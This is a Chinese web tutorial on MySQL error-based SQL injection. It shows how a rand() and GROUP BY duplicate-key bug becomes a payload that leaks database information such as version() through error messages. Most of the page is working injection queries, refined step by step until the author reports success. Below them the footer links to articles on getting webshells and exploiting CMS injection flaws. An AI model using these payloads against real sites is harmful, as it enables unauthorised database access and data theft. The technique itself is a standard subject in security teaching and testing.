手机
当前位置:查字典教程网 > >脚本攻防 >网站MYSQL数据库高级爆错注入原分析
网站MYSQL数据库高级爆错注入原分析
摘要:这里主要用了mysql的一个BUG:http://bugs.mysql.com/bug.php?id=8652groupingoncerta...

这里主要用了mysql的一个BUG :http://bugs.mysql.com/bug.php?id=8652

grouping on certain parts of the result from rand, causes a duplicate key error.

重现过程:

SQL Code复制内容到剪贴板 usemysql; createtabler1(aint);insertintor1values(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2); selectleft(rand(),3),afromr1groupby1; selectleft(rand(),3),a,count(*)fromr1groupby1; selectround(rand(1),1),a,count(*)fromr1groupby1;

于是便可以这样拿来爆错注入了。

复制代码代码如下:

select count(*),concat((select version()),left(rand(),3))x from inform<span style="line-height:1.5;">ation_schema.tables group by x;</span>

尝试拿来实战

复制代码代码如下:

select * from user where user='root' and (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x);

提示错误 选择的列应该为一个。那么。我们换一下

复制代码代码如下:

select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x));<span style="font-family:'sans serif', tahoma, verdana, helvetica;font-size:12px;line-height:1.5;"></span>

复制代码代码如下:

1248 (42000): Every derived table must have its own alias

提示多表查询要有别名 那好办

复制代码代码如下:

select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x)a);

或者

复制代码代码如下:

select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x) as lusiyu);

成功爆粗注入了.

作者: 小残 绳命不息 |折腾不止

【网站MYSQL数据库高级爆错注入原分析】相关文章:

BOSSI 公司企业网站管理系统注入&上传漏洞利用

后台登入框注入拿shell步骤

XSS攻击汇总 做网站安全的朋友需要注意下

phpcms SQL注入漏洞 adsclass.php 页面过滤不严

php版shell.users加管理员帐号的方法

PHPCMS 信息泄露以及任意删除文件漏洞

科讯kesion 6.x – 7.06 SQL 注射漏洞VBS版利用工具第二版

Z-blog后台拿SHELL方法总结

网站被SQL注入防范(WebKnight)

DedeCMS全版本通杀SQL注入漏洞利用代码及工具2014年2月28日

精品推荐
分类导航